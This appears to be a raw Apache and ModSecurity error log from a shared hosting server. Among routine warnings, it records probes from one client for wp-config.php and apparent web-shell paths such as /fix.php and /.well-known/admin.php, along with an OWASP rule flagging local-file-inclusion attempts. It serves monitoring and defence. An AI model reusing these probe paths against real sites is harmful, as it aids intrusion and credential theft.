[Fri Jul 17 10:24:25.543860 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:25.681707 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:25.681807 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:25.875643 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.107923 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.108038 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.214910 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.316795 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.317021 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.461534 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.566823 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.849625 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.849751 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.849788 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:26.933621 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:27.110837 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:27.470749 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:27.488433 2026] [security2:error] [pid 2075978:tid 2075978] [client 112.134.6.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/slider/images/Respiratory Diseases English Slider.jpg"] [unique_id "alm1g2Fjrl6DCT-Pyn8URQAAAAo"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 10:24:27.488638 2026] [security2:error] [pid 2075978:tid 2075978] [client 112.134.6.6:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/slider/images/Respiratory Diseases English Slider.jpg"] [unique_id "alm1g2Fjrl6DCT-Pyn8URQAAAAo"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 10:24:27.513006 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:27.714219 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:27.912117 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:27.975634 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:28.086355 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:28.395880 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:28.492093 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:28.593924 2026] [core:error] [pid 2075690:tid 2075690] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/226:0/device/subsystem/uevent
[Fri Jul 17 10:24:28.624786 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:28.732798 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:28.802123 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:29.005330 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:29.225905 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:29.427423 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:53340] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:29.495716 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:29.607294 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:29.607625 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:30.157134 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:30.157580 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-acme/"] [unique_id "alm1hswb7ueECO0vce5tFQAAAA8"]
[Fri Jul 17 10:24:30.157600 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-acme/"] [unique_id "alm1hswb7ueECO0vce5tFQAAAA8"]
[Fri Jul 17 10:24:30.261597 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:30.359762 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:30.462765 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:30.584457 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:30.666534 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:30.767243 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:30.996361 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:31.614652 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:31.937243 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:32.153929 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:32.154021 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:32.154102 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:32.595184 2026] [core:error] [pid 2075728:tid 2075728] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:53/subsystem/ttyS3/line
[Fri Jul 17 10:24:32.694126 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:33.892167 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:33.908868 2026] [proxy_fcgi:error] [pid 2075705:tid 2075705] [client 20.226.60.151:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:34.725023 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:34.725545 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-File-CheckTree/"] [unique_id "alm1in5-BwPGxupoEJk0pgAAAA0"]
[Fri Jul 17 10:24:34.725569 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-File-CheckTree/"] [unique_id "alm1in5-BwPGxupoEJk0pgAAAA0"]
[Fri Jul 17 10:24:34.900593 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:35.104481 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:35.800211 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:35.830435 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/226:0/device/resource1
[Fri Jul 17 10:24:36.042195 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:36.500272 2026] [security2:error] [pid 2075908:tid 2075908] [client 57.141.18.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory2/node0/memory17/node0/memory95/node0/memory85/"] [unique_id "alm1jEj_u9-aE9qeQW0c4gAAAAk"]
[Fri Jul 17 10:24:36.500306 2026] [security2:error] [pid 2075908:tid 2075908] [client 57.141.18.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory2/node0/memory17/node0/memory95/node0/memory85/"] [unique_id "alm1jEj_u9-aE9qeQW0c4gAAAAk"]
[Fri Jul 17 10:24:36.571518 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:36.686846 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:36.884031 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:36.994616 2026] [proxy_fcgi:error] [pid 2075691:tid 2075691] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.078265 2026] [proxy_fcgi:error] [pid 2075689:tid 2075689] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.161714 2026] [proxy_fcgi:error] [pid 2076194:tid 2076194] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.254877 2026] [proxy_fcgi:error] [pid 2076258:tid 2076258] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.315514 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:37.337981 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.425751 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:37.434282 2026] [proxy_fcgi:error] [pid 2076257:tid 2076257] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.539246 2026] [proxy_fcgi:error] [pid 2076193:tid 2076193] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.624264 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.706782 2026] [proxy_fcgi:error] [pid 2075705:tid 2075705] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.740547 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:37.810031 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.893472 2026] [proxy_fcgi:error] [pid 2075711:tid 2075711] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:37.946484 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:38.084903 2026] [proxy_fcgi:error] [pid 2075728:tid 2075728] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:38.263082 2026] [proxy_fcgi:error] [pid 2075689:tid 2075689] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:38.263314 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:38.347448 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:38.442090 2026] [proxy_fcgi:error] [pid 2075711:tid 2075711] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:38.475959 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:38.528654 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:38.619769 2026] [proxy_fcgi:error] [pid 2076193:tid 2076193] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:38.686997 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:38.706172 2026] [proxy_fcgi:error] [pid 2075904:tid 2075904] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:38.793656 2026] [proxy_fcgi:error] [pid 2075908:tid 2075908] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:38.876189 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:38.961340 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:39.046386 2026] [proxy_fcgi:error] [pid 2076257:tid 2076257] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:39.137042 2026] [proxy_fcgi:error] [pid 2076188:tid 2076188] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:39.214376 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:39.314947 2026] [core:error] [pid 2075728:tid 2075728] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/xfs_efd_item/validate
[Fri Jul 17 10:24:39.416238 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:39.423653 2026] [proxy_fcgi:error] [pid 2075908:tid 2075908] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:39.508497 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:39.592451 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:39.682716 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:39.772392 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:39.772838 2026] [security2:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/lankaher-global": Permission denied [hostname "sobaherbal.com"] [uri "/fix.php"] [unique_id "alm1jx0C3r-GF3RTNAbTHwAAAAY"]
[Fri Jul 17 10:24:39.772862 2026] [security2:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/lankaher-ip": Permission denied [hostname "sobaherbal.com"] [uri "/fix.php"] [unique_id "alm1jx0C3r-GF3RTNAbTHwAAAAY"]
[Fri Jul 17 10:24:39.861409 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:39.961701 2026] [proxy_fcgi:error] [pid 2075705:tid 2075705] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:40.053063 2026] [proxy_fcgi:error] [pid 2075908:tid 2075908] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:40.059932 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:40.137383 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:40.160283 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:40.222344 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:40.304686 2026] [proxy_fcgi:error] [pid 2076188:tid 2076188] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:40.377312 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:40.386545 2026] [security2:error] [pid 2075718:tid 2075718] [client 20.151.7.119:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "sobaherbal.com"] [uri "/wp-config.php"] [unique_id "alm1kHHGgRvC9MVf3SzH_QAAAAI"]
[Fri Jul 17 10:24:40.386914 2026] [security2:error] [pid 2075718:tid 2075718] [client 20.151.7.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sobaherbal.com"] [uri "/wp-config.php"] [unique_id "alm1kHHGgRvC9MVf3SzH_QAAAAI"]
[Fri Jul 17 10:24:40.393709 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:40.394339 2026] [security2:error] [pid 2075718:tid 2075718] [client 20.151.7.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sobaherbal.com"] [uri "/wp-config.php"] [unique_id "alm1kHHGgRvC9MVf3SzH_QAAAAI"]
[Fri Jul 17 10:24:40.478742 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:40.901936 2026] [ssl:error] [pid 2075692:tid 2075692] (70014)End of file found: [client 66.85.158.91:59534] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:40.905750 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:40.993893 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.010367 2026] [core:error] [pid 2075904:tid 2075904] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/ip_fib_trie/validate
[Fri Jul 17 10:24:41.092389 2026] [proxy_fcgi:error] [pid 2075908:tid 2075908] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.114013 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:41.181578 2026] [proxy_fcgi:error] [pid 2075728:tid 2075728] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.269410 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.354544 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.444832 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.618520 2026] [proxy_fcgi:error] [pid 2075689:tid 2075689] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.702868 2026] [proxy_fcgi:error] [pid 2075728:tid 2075728] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.794904 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.884661 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:41.971798 2026] [security2:error] [pid 2075908:tid 2075908] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/lankaher-global": Permission denied [hostname "sobaherbal.com"] [uri "/wp-content/plugins/xt"] [unique_id "alm1kUj_u9-aE9qeQW0c7AAAAAk"]
[Fri Jul 17 10:24:41.971834 2026] [security2:error] [pid 2075908:tid 2075908] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/lankaher-ip": Permission denied [hostname "sobaherbal.com"] [uri "/wp-content/plugins/xt"] [unique_id "alm1kUj_u9-aE9qeQW0c7AAAAAk"]
[Fri Jul 17 10:24:42.071474 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:42.164636 2026] [proxy_fcgi:error] [pid 2075691:tid 2075691] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:42.278060 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:42.280739 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:42.281251 2026] [security2:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/lankaher-global": Permission denied [hostname "sobaherbal.com"] [uri "/.well-known/admin.php"] [unique_id "alm1kn5-BwPGxupoEJk0sQAAAA0"]
[Fri Jul 17 10:24:42.281270 2026] [security2:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/lankaher-ip": Permission denied [hostname "sobaherbal.com"] [uri "/.well-known/admin.php"] [unique_id "alm1kn5-BwPGxupoEJk0sQAAAA0"]
[Fri Jul 17 10:24:42.367146 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:42.451492 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:42.552774 2026] [proxy_fcgi:error] [pid 2075711:tid 2075711] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:42.596566 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:42.637425 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:42.790527 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:48400] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:24:42.865883 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:43.058803 2026] [proxy_fcgi:error] [pid 2075978:tid 2075978] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:43.221461 2026] [proxy_fcgi:error] [pid 2076194:tid 2076194] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:43.482031 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:43.592775 2026] [proxy_fcgi:error] [pid 2075691:tid 2075691] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:43.683708 2026] [proxy_fcgi:error] [pid 2076194:tid 2076194] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:43.847182 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:43.907620 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:43.930537 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:44.012391 2026] [proxy_fcgi:error] [pid 2075705:tid 2075705] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:44.275148 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:24:44.322420 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:44.327486 2026] [security2:error] [pid 2076257:tid 2076257] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "emlproperties.lk"] [uri "/index.php"] [unique_id "alm1kSBQrJXNVyJFnL68lgAAABU"]
[Fri Jul 17 10:24:44.327526 2026] [security2:error] [pid 2076257:tid 2076257] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "emlproperties.lk"] [uri "/index.php"] [unique_id "alm1kSBQrJXNVyJFnL68lgAAABU"]
[Fri Jul 17 10:24:44.364392 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.151.7.119:0] AH01071: Got error 'Primary script unknown'
